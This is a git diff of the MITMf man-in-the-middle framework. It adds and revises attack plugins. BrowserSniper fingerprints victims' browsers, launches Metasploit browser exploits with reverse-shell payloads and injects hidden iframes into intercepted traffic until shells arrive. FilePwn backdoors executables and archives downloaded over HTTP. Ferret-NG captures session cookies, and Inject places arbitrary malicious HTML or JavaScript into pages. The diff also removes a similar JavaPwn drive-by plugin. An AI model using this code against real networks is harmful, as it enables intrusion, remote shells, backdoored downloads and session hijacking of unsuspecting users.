from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.sergioproxy.ProxyPlugins import ProxyPlugins
@ -72,13 +72,12 @@ class ServerConnection(HTTPClient):
def sendRequest(self): def sendRequest(self):
if self.command == 'GET': if self.command == 'GET':
try: try:
user_agent = parse(self.headers['user-agent']) mitmf_logger.info("{} [type:{} os:{}] Sending Request: {}".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0], self.headers['host']))
self.clientInfo = "{} [type:{}-{} os:{}] ".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family)
except Exception as e: except Exception as e:
mitmf_logger.debug("[ServerConnection] Failed to parse client UA: {}".format(e)) mitmf_logger.debug("[ServerConnection] Unable to parse UA: {}".format(e))
self.clientInfo = "{} ".format(self.client.getClientIP()) mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host']))
pass
mitmf_logger.info(self.clientInfo + "Sending Request: {}".format(self.headers['host']))
mitmf_logger.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri)) mitmf_logger.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri))
self.sendCommand(self.command, self.uri) self.sendCommand(self.command, self.uri)
@ -96,15 +95,17 @@ class ServerConnection(HTTPClient):
postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging
if len(postdata) > 0: if len(postdata) > 0:
mitmf_logger.warning("{} {} Data ({}):\n{}".format(self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], postdata)) mitmf_logger.warning("{} {} Data ({}):\n{}".format(self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], postdata))
except UnicodeDecodeError and UnicodeEncodeError: except Exception as e:
mitmf_logger.debug("[ServerConnection] {} Ignored post data from {}".format(self.client.getClientIP(), self.headers['host'])) if ('UnicodeDecodeError' or 'UnicodeEncodeError') in e.message:
pass mitmf_logger.debug("[ServerConnection] {} Ignored post data from {}".format(self.client.getClientIP(), self.headers['host']))
pass
self.printPostData = True self.printPostData = True
self.transport.write(self.postData) self.transport.write(self.postData)
def connectionMade(self): def connectionMade(self):
mitmf_logger.debug("[ServerConnection] HTTP connection made.") mitmf_logger.debug("[ServerConnection] HTTP connection made.")
self.clientInfo = hap.simple_detect(self.headers['user-agent'])
self.plugins.hook() self.plugins.hook()
self.sendRequest() self.sendRequest()
self.sendHeaders() self.sendHeaders()
@ -133,7 +134,7 @@ class ServerConnection(HTTPClient):
self.isCompressed = True self.isCompressed = True
elif (key.lower()== 'strict-transport-security'): elif (key.lower()== 'strict-transport-security'):
mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.clientInfo)) mitmf_logger.info("{} [type:{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0]))
elif (key.lower() == 'content-length'): elif (key.lower() == 'content-length'):
self.contentLength = value self.contentLength = value
@ -220,13 +221,6 @@ class ServerConnection(HTTPClient):
dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys())))) dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys()))))
data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)
#mitmf_logger.debug("HSTS DEBUG received data:\n"+data)
#data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data)
#data = re.sub(ServerConnection.urlTypewww, 'http://w', data)
#if data.find("http://w.face")!=-1:
# mitmf_logger.debug("HSTS DEBUG Found error in modifications")
# raw_input("Press Enter to continue")
#return re.sub(ServerConnection.urlType, 'http://web.', data)
return data return data
else: else:

View file

@ -131,16 +131,15 @@ for p in plugins:
if vars(args)[p.optname] is True: if vars(args)[p.optname] is True:
print "|_ {} v{}".format(p.name, p.version) print "|_ {} v{}".format(p.name, p.version)
if hasattr(p, 'tree_output') and p.tree_output: if p.tree_info:
for line in p.tree_output: for line in p.tree_info:
print "| |_ {}".format(line) print "| |_ {}".format(p.tree_info.pop())
p.tree_output.remove(line)
p.initialize(args) p.initialize(args)
if hasattr(p, 'tree_output') and p.tree_output: if p.tree_info:
for line in p.tree_output: for line in p.tree_info:
print "| |_ {}".format(line) print "| |_ {}".format(p.tree_info.pop())
load.append(p) load.append(p)
@ -153,8 +152,8 @@ URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
CookieCleaner.getInstance().setEnabled(args.killsessions) CookieCleaner.getInstance().setEnabled(args.killsessions)
ProxyPlugins.getInstance().setPlugins(load) ProxyPlugins.getInstance().setPlugins(load)
strippingFactory = http.HTTPFactory(timeout=10) strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy strippingFactory.protocol = StrippingProxy
reactor.listenTCP(args.listen, strippingFactory) reactor.listenTCP(args.listen, strippingFactory)

View file

@ -27,17 +27,15 @@ from core.beefapi import BeefAPI
from core.utils import SystemConfig from core.utils import SystemConfig
from plugins.plugin import Plugin from plugins.plugin import Plugin
from plugins.Inject import Inject from plugins.Inject import Inject
from core.sergioproxy.ProxyPlugins import ProxyPlugins
mitmf_logger = logging.getLogger("mitmf") mitmf_logger = logging.getLogger("mitmf")
class BeefAutorun(Plugin): class BeefAutorun(Inject, Plugin):
name = "BeEFAutorun" name = "BeEFAutorun"
optname = "beefauto" optname = "beefauto"
desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type" desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type"
tree_output = [] version = "0.3"
version = "0.3" has_opts = False
has_opts = False
def initialize(self, options): def initialize(self, options):
self.options = options self.options = options

File diff suppressed because one or more lines are too long

222
plugins/BrowserSniper.py Normal file
View file

@ -0,0 +1,222 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import string
import random
import sys
import logging
from time import sleep
from core.msfrpc import Msfrpc
from core.utils import SystemConfig
from plugins.plugin import Plugin
from plugins.BrowserProfiler import BrowserProfiler
mitmf_logger = logging.getLogger("mitmf")
class BrowserSniper(BrowserProfiler, Plugin):
name = "BrowserSniper"
optname = "browsersniper"
desc = "Performs drive-by attacks on clients with out-of-date browser plugins"
version = "0.4"
has_opts = False
def initialize(self, options):
self.options = options
self.msfip = SystemConfig.getIP(options.interface)
self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit
msfcfg = self.config['MITMf']['Metasploit']
self.rpcip = msfcfg['rpcip']
self.rpcpass = msfcfg['rpcpass']
#Initialize the BrowserProfiler plugin
BrowserProfiler.initialize(self, options)
try:
self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
self.msf.login('msf', self.rpcpass)
version = self.msf.call('core.version')['version']
self.tree_info.append("Connected to Metasploit v{}".format(version))
except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server")
def startThread(self, options):
self.snipe()
def onConfigChange(self):
self.initialize(self.options)
def _genRandURL(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
return "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5))
def _getRandPort(self):
return random.randint(1000, 65535)
def _setupExploit(self, exploit, msfport):
rand_url = self._genRandURL()
rand_port = self._getRandPort()
#generate the command string to send to the virtual console
#new line character very important as it simulates a user pressing enter
cmd = "use exploit/{}\n".format(exploit)
cmd += "set SRVPORT {}\n".format(msfport)
cmd += "set URIPATH {}\n".format(rand_url)
cmd += "set PAYLOAD generic/shell_reverse_tcp\n"
cmd += "set LHOST {}\n".format(self.msfip)
cmd += "set LPORT {}\n".format(rand_port)
cmd += "set ExitOnSession False\n"
cmd += "exploit -j\n"
#Create a virtual console
console_id = self.msf.call('console.create')['id']
#write the cmd to the newly created console
self.msf.call('console.write', [console_id, cmd])
return (rand_url, rand_port)
def _compat_system(self, os_config, brw_config):
os = self.output['useragent'][0].lower()
browser = self.output['useragent'][1].lower()
if (os_config == 'any') and (brw_config == 'any'):
return True
if (os_config == 'any') and (brw_config in browser):
return True
if (os_config in os) and (brw_config == 'any'):
return True
if (os_config in os) and (brw_config in browser):
return True
return False
def getExploits(self):
exploits = list()
vic_ip = self.output['ip']
#First get the client's info
java = None
if (self.output['java_installed'] == '1') and (self.output['java_version'] != 'null'):
java = self.output['java_version']
flash = None
if (self.output['flash_installed'] == '1') and (self.output['flash_version'] != 'null'):
flash = self.output['flash_version']
mitmf_logger.debug("{} [BrowserSniper] Java installed: {} | Flash installed: {}".format(vic_ip, java, flash))
for exploit, details in self.config['BrowserSniper'].iteritems():
if self._compat_system(details['OS'].lower(), details['Browser'].lower()):
if details['Type'].lower() == 'browservuln':
exploits.append(exploit)
elif details['Type'].lower() == 'pluginvuln':
if details['Plugin'].lower() == 'java':
if (java is not None) and (java in details['PluginVersions']):
exploits.append(exploit)
elif details['Plugin'].lower() == 'flash':
if (flash is not None) and (java in details['PluginVersions']):
exploits.append(exploit)
mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits))
return exploits
def injectAndPoll(self, ip, inject_payload): #here we inject an iframe to trigger the exploit and check for resulting sessions
#inject iframe
mitmf_logger.info("{} [BrowserSniper] Now injecting iframe to trigger exploits".format(ip))
self.html_payload = inject_payload #temporarily changes the code that the Browserprofiler plugin injects
#The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds
#Will also make sure the shell actually came from the box that we targeted
#probably a much cleaner way of doing this :/
mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip))
exit_loop = False
poll_n = 1
while poll_n <= 30:
if exit_loop is True:
break
sessions = self.msf.call('session.list')
if sessions:
for k, v in sessions.iteritems():
if ip in sessions[k]['tunnel_peer']:
mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip))
self.sploited_ips.append(ip)
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
exit_loop = True
break
poll_n += 1
sleep(2)
if exit_loop is False: #We didn't get a shell :(
mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip))
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
def snipe(self):
while True:
if self.output:
vic_ip = self.output['ip']
msfport = self.config['MITMf']['Metasploit']['msfport']
exploits = self.getExploits()
if not exploits:
if vic_ip not in self.sploited_ips:
mitmf_logger.info('{} [BrowserSniper] Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip))
self.sploited_ips.append(vic_ip)
self.black_ips = self.sploited_ips
elif exploits and (vic_ip not in self.sploited_ips):
mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits)))
inject_payload = ''
for exploit in exploits:
jobs = self.msf.call('job.list') #get running jobs
if jobs:
for pid, name in jobs.iteritems():
info = self.msf.call('job.info', [pid])
if (exploit in info['name']):
mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit))
url = info['uripath'] #get the url assigned to the exploit
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, msfport, url)
else:
url, port = self._setupExploit(exploit, msfport)
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, port, url)
else:
url, port = self._setupExploit(exploit, msfport)
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, port, url)
self.injectAndPoll(vic_ip, inject_payload)
sleep(1)

View file

@ -20,20 +20,20 @@
import logging import logging
from datetime import datetime
from plugins.plugin import Plugin from plugins.plugin import Plugin
from twisted.internet import reactor from twisted.internet import reactor
from twisted.web import http from twisted.web import http
from twisted.internet import reactor from twisted.internet import reactor
from core.ferretNG.FerretProxy import FerretProxy from core.ferretng.FerretProxy import FerretProxy
from core.ferretNG.URLMonitor import URLMonitor from core.ferretng.URLMonitor import URLMonitor
mitmf_logger = logging.getLogger("mitmf") mitmf_logger = logging.getLogger("mitmf")
class FerretNG(Plugin): class FerretNG(Plugin):
name = "Ferret-NG" name = "Ferret-NG"
optname = "ferret" optname = "ferretng"
desc = "Captures cookies and starts a proxy that will feed them to connected clients" desc = "Captures cookies and starts a proxy that will feed them to connected clients"
tree_output = list()
version = "0.1" version = "0.1"
has_opts = True has_opts = True
@ -42,14 +42,16 @@ class FerretNG(Plugin):
self.options = options self.options = options
self.ferret_port = 10010 or options.ferret_port self.ferret_port = 10010 or options.ferret_port
self.tree_output.append("Listening on port {}".format(self.ferret_port)) self.tree_info.append("Listening on port {}".format(self.ferret_port))
def clientRequest(self, request): def clientRequest(self, request):
if 'cookie' in request.headers: if 'cookie' in request.headers:
host = request.headers['host'] host = request.headers['host']
cookie = request.headers['cookie'] cookie = request.headers['cookie']
mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(request.client.getClientIP(), host, cookie)) client = request.client.getClientIP()
URLMonitor.getInstance().cookies[host] = cookie if host not in URLMonitor.getInstance().cookies:
mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie))
URLMonitor.getInstance().cookies[client] = {'host': host, 'cookie': cookie}
def pluginReactor(self, StrippingProxy): def pluginReactor(self, StrippingProxy):
FerretFactory = http.HTTPFactory(timeout=10) FerretFactory = http.HTTPFactory(timeout=10)
@ -57,4 +59,11 @@ class FerretNG(Plugin):
reactor.listenTCP(self.ferret_port, FerretFactory) reactor.listenTCP(self.ferret_port, FerretFactory)
def pluginOptions(self, options): def pluginOptions(self, options):
options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG on (default 10010)') options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)')
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from log file')
def finish(self):
mitmf_logger.info("[Ferret-NG] Writing cookies to log file")
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))) as cookie_file:
cookie_file.write(URLMonitor.getInstance().cookies)
cookie_file.close()

View file

@ -61,6 +61,7 @@ import logging
import shutil import shutil
import random import random
import string import string
import threading
import tarfile import tarfile
import multiprocessing import multiprocessing
@ -78,8 +79,7 @@ class FilePwn(Plugin):
name = "FilePwn" name = "FilePwn"
optname = "filepwn" optname = "filepwn"
desc = "Backdoor executables being sent over http using bdfactory" desc = "Backdoor executables being sent over http using bdfactory"
implements = ["handleResponse"] tree_info = ["BDFProxy v0.3.2 online"]
tree_output = ["BDFProxy v0.3.2 online"]
version = "0.3" version = "0.3"
has_opts = False has_opts = False
@ -134,17 +134,23 @@ class FilePwn(Plugin):
msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary
msf.login('msf', rpcpass) msf.login('msf', rpcpass)
version = msf.call('core.version')['version'] version = msf.call('core.version')['version']
self.tree_output.append("Connected to Metasploit v{}".format(version)) self.tree_info.append("Connected to Metasploit v{}".format(version))
t = threading.Thread(name='setupMSF', target=self.setupMSF, args=(msf,))
t.setDaemon(True)
t.start()
except Exception: except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
def setupMSF(self, msf):
self.tree_output.append("Setting up Metasploit payload handlers")
jobs = msf.call('job.list') jobs = msf.call('job.list')
for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]:
cmd = "use exploit/multi/handler\n" cmd = "use exploit/multi/handler\n"
cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) cmd += "set payload {}\n".format(config["MSFPAYLOAD"])
cmd += "set LHOST {}\n".format(config["HOST"]) cmd += "set LHOST {}\n".format(config["HOST"])
cmd += "set LPORT {}\n".format(config["PORT"]) cmd += "set LPORT {}\n".format(config["PORT"])
cmd += "set ExitOnSession False\n"
cmd += "exploit -j\n" cmd += "exploit -j\n"
if jobs: if jobs:
@ -589,46 +595,46 @@ class FilePwn(Plugin):
self.patched.put(tempZipFile) self.patched.put(tempZipFile)
return return
def handleResponse(self, request, data): def serverResponse(self, response, request, data):
content_header = request.client.headers['Content-Type'] content_header = response.headers['Content-Type']
client_ip = request.client.getClientIP() client_ip = response.getClientIP()
if content_header in self.zipMimeTypes: if content_header in self.zipMimeTypes:
if self.bytes_have_format(data, 'zip'): if self.bytes_have_format(data, 'zip'):
mitmf_logger.info("{} Detected supported zip file type!".format(client_ip)) mitmf_logger.info("[FilePwn] {} Detected supported zip file type!".format(client_ip))
process = multiprocessing.Process(name='zip', target=self.zip, args=(data,)) process = multiprocessing.Process(name='zip', target=self.zip, args=(data,))
process.daemon = True process.daemon = True
process.start() process.start()
process.join() #process.join()
bd_zip = self.patched.get() bd_zip = self.patched.get()
if bd_zip: if bd_zip:
mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip))
return {'request': request, 'data': bd_zip} return {'response': response, 'request': request, 'data': bd_zip}
else: else:
for tartype in ['gz','bz','tar']: for tartype in ['gz','bz','tar']:
if self.bytes_have_format(data, tartype): if self.bytes_have_format(data, tartype):
mitmf_logger.info("{} Detected supported tar file type!".format(client_ip)) mitmf_logger.info("[FilePwn] {} Detected supported tar file type!".format(client_ip))
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,)) process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,))
process.daemon = True process.daemon = True
process.start() process.start()
process.join() #process.join()
bd_tar = self.patched.get() bd_tar = self.patched.get()
if bd_tar: if bd_tar:
mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip))
return {'request': request, 'data': bd_tar} return {'response': response, 'request': request, 'data': bd_tar}
elif content_header in self.binaryMimeTypes: elif content_header in self.binaryMimeTypes:
for bintype in ['pe','elf','fatfile','machox64','machox86']: for bintype in ['pe','elf','fatfile','machox64','machox86']:
if self.bytes_have_format(data, bintype): if self.bytes_have_format(data, bintype):
mitmf_logger.info("{} Detected supported binary type!".format(client_ip)) mitmf_logger.info("[FilePwn] {} Detected supported binary type ({})!".format(client_ip, bintype))
fd, tmpFile = mkstemp() fd, tmpFile = mkstemp()
with open(tmpFile, 'w') as f: with open(tmpFile, 'w') as f:
f.write(data) f.write(data)
@ -636,15 +642,14 @@ class FilePwn(Plugin):
process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,)) process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,))
process.daemon = True process.daemon = True
process.start() process.start()
process.join() #process.join()
patchb = self.patched.get() patchb = self.patched.get()
if patchb: if patchb:
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
os.remove('./backdoored/' + os.path.basename(tmpFile)) os.remove('./backdoored/' + os.path.basename(tmpFile))
mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip))
return {'request': request, 'data': bd_binary} return {'response': response, 'request': request, 'data': bd_binary}
else: mitmf_logger.debug("[FilePwn] {} File is not of supported Content-Type: {}".format(client_ip, content_header))
mitmf_logger.debug("{} File is not of supported Content-Type: {}".format(client_ip, content_header)) return {'response': response, 'request': request, 'data': data}
return {'request': request, 'data': data}

View file

@ -27,46 +27,45 @@ import argparse
from core.utils import SystemConfig from core.utils import SystemConfig
from plugins.plugin import Plugin from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill from plugins.CacheKill import CacheKill
from core.sergioproxy.ProxyPlugins import ProxyPlugins
mitmf_logger = logging.getLogger("mitmf") mitmf_logger = logging.getLogger("mitmf")
class Inject(Plugin): class Inject(CacheKill, Plugin):
name = "Inject" name = "Inject"
optname = "inject" optname = "inject"
desc = "Inject arbitrary content into HTML content" desc = "Inject arbitrary content into HTML content"
version = "0.2" version = "0.3"
has_opts = True has_opts = True
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''
self.options = options self.options = options
self.our_ip = SystemConfig.getIP(options.interface) self.our_ip = SystemConfig.getIP(options.interface)
self.html_src = options.html_url self.html_src = options.html_url
self.js_src = options.js_url self.js_src = options.js_url
self.rate_limit = options.rate_limit self.rate_limit = options.rate_limit
self.count_limit = options.count_limit self.count_limit = options.count_limit
self.per_domain = options.per_domain self.per_domain = options.per_domain
self.black_ips = options.black_ips self.black_ips = options.black_ips.split(',')
self.white_ips = options.white_ips self.white_ips = options.white_ips.split(',')
self.match_str = "</body>" or options.match_str self.white_domains = options.white_domains.split(',')
self.html_payload = options.html_payload self.black_domains = options.black_domains.split(',')
self.ctable = {} self.match_str = "</body>" or options.match_str
self.dtable = {} self.html_payload = options.html_payload
self.count = 0 self.ctable = {}
self.mime = "text/html" self.dtable = {}
self.count = 0
self.mime = "text/html"
if not options.preserve_cache: if not options.preserve_cache:
cachekill = CacheKill() CacheKill.initialize(self, options)
cachekill.initialize(options)
ProxyPlugins.getInstance().addPlugin(cachekill)
def serverResponse(self, response, request, data): def serverResponse(self, response, request, data):
#We throttle to only inject once every two seconds per client #We throttle to only inject once every two seconds per client
#If you have MSF on another host, you may need to check prior to injection #If you have MSF on another host, you may need to check prior to injection
#print "http://" + response.client.getRequestHostname() + response.uri #print "http://" + response.client.getRequestHostname() + response.uri
ip, hn, mime = self._get_req_info(response) ip, hn, mime = self._get_req_info(response)
if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and (hn not in self.our_ip): if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.our_ip):
if (not self.js_src == self.html_src is not None or not self.html_payload == ""): if (not self.js_src == self.html_src is not None or not self.html_payload == ""):
data = self._insert_html(data, post=[(self.match_str, self._get_payload())]) data = self._insert_html(data, post=[(self.match_str, self._get_payload())])
self.ctable[ip] = time.time() self.ctable[ip] = time.time()
@ -81,20 +80,37 @@ class Inject(Plugin):
def _ip_filter(self, ip): def _ip_filter(self, ip):
if self.white_ips is not None: if self.white_ips[0] != '':
if ip in self.white_ips.split(','): if ip in self.white_ips:
return True return True
else: else:
return False return False
if self.black_ips is not None: if self.black_ips[0] != '':
if ip in self.black_ips.split(','): if ip in self.black_ips:
return False return False
else: else:
return True return True
return True return True
def _host_filter(self, host):
if self.white_domains[0] != '':
if host in self.white_domains:
return True
else:
return False
if self.black_domains[0] != '':
if host in self.black_domains:
return False
else:
return True
return True
def _should_inject(self, ip, hn, mime): def _should_inject(self, ip, hn, mime):
if self.count_limit == self.rate_limit is None and not self.per_domain: if self.count_limit == self.rate_limit is None and not self.per_domain:
@ -153,12 +169,14 @@ class Inject(Plugin):
def pluginOptions(self, options): def pluginOptions(self, options):
options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.")
options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
options.add_argument("--html-payload", type=str, default=None, help="String you would like to inject.") options.add_argument("--html-payload", type=str, default='', help="String you would like to inject.")
options.add_argument("--match-str", type=str, default=None, help="String you would like to match and place your payload before. (</body> by default)") options.add_argument("--match-str", type=str, default=None, help="String you would like to match and place your payload before. (</body> by default)")
options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.")
group = options.add_mutually_exclusive_group(required=False) group = options.add_mutually_exclusive_group(required=False)
group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.") group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.")
group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.") group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.")
group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.") group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.")
group.add_argument("--white-ips", type=str, default=None, help="Inject content ONLY for these ips") group.add_argument("--white-ips", metavar='IPS', type=str, default='', help="Inject content ONLY for these ips (comma seperated)")
group.add_argument("--black-ips", type=str, default=None, help="DO NOT inject content for these ips") group.add_argument("--black-ips", metavar='IPS', type=str, default='', help="DO NOT inject content for these ips (comma seperated)")
group.add_argument("--white-domains", metavar='DOMAINS', type=str, default='', help="Inject content ONLY for these domains (comma seperated)")
group.add_argument("--black-domains", metavar='DOMAINS', type=str, default='', help="DO NOT inject content for these domains (comma seperated)")

View file

@ -1,231 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import string
import random
import threading
import sys
import logging
from time import sleep
from core.msfrpc import Msfrpc
from core.utils import SystemConfig
from plugins.plugin import Plugin
from plugins.BrowserProfiler import BrowserProfiler
mitmf_logger = logging.getLogger("mitmf")
class JavaPwn(Plugin):
name = "JavaPwn"
optname = "javapwn"
desc = "Performs drive-by attacks on clients with out-of-date java browser plugins"
tree_output = []
version = "0.3"
has_opts = False
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.msfip = SystemConfig.getIP(options.interface)
try:
msfcfg = options.configfile['MITMf']['Metasploit']
except Exception, e:
sys.exit("[-] Error parsing Metasploit options in config file : {}".format(e))
try:
self.javacfg = options.configfile['JavaPwn']
except Exception, e:
sys.exit("[-] Error parsing config for JavaPwn: {}".format(e))
self.msfport = msfcfg['msfport']
self.rpcip = msfcfg['rpcip']
self.rpcpass = msfcfg['rpcpass']
#Initialize the BrowserProfiler plugin
BrowserProfiler.initialize(self, options)
self.black_ips = []
try:
self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
self.msf.login('msf', self.rpcpass)
version = self.msf.call('core.version')['version']
self.tree_output.append("Connected to Metasploit v{}".format(version))
except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
def onConfigChange(self):
self.initialize(self.options)
def startThread(self, options):
self.pwn()
def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5))
def get_exploit(self, java_version):
exploits = []
client_vstring = java_version[:-len(java_version.split('.')[3])-1]
client_uversion = int(java_version.split('.')[3])
for ver in self.javacfg['Multi'].iteritems():
if type(ver[1]) is list:
for list_vers in ver[1]:
version_string = list_vers[:-len(list_vers.split('.')[3])-1]
update_version = int(list_vers.split('.')[3])
if ('*' in version_string[:1]) and (client_vstring == version_string[1:]):
if client_uversion == update_version:
exploits.append(ver[0])
elif (client_vstring == version_string):
if client_uversion <= update_version:
exploits.append(ver[0])
else:
version_string = ver[1][:-len(ver[1].split('.')[3])-1]
update_version = int(ver[1].split('.')[3])
if ('*' in version_string[:1]) and (client_vstring == version_string[1:]):
if client_uversion == update_version:
exploits.append(ver[0])
elif client_vstring == version_string:
if client_uversion <= update_version:
exploits.append(ver[0])
return exploits
def injectWait(self, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions
#inject iframe
mitmf_logger.info("{} >> now injecting iframe to trigger exploit".format(client_ip))
self.html_payload = "<iframe src='http://{}:{}' height=0%% width=0%%></iframe>".format(self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects
mitmf_logger.info('{} >> waiting for ze shellz, Please wait...'.format(client_ip))
exit = False
i = 1
while i <= 30: #wait max 60 seconds for a new shell
if exit:
break
shell = self.msf.call('session.list') #poll metasploit every 2 seconds for new sessions
if len(shell) > 0:
for k, v in shell.iteritems():
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
mitmf_logger.info("{} >> Got shell!".format(client_ip))
self.sploited_ips.append(client_ip) #target successfuly owned :)
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
exit = True
break
sleep(2)
i += 1
if exit is False: #We didn't get a shell :(
mitmf_logger.info("{} >> session not established after 30 seconds".format(client_ip))
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
def send_command(self, cmd, vic_ip):
try:
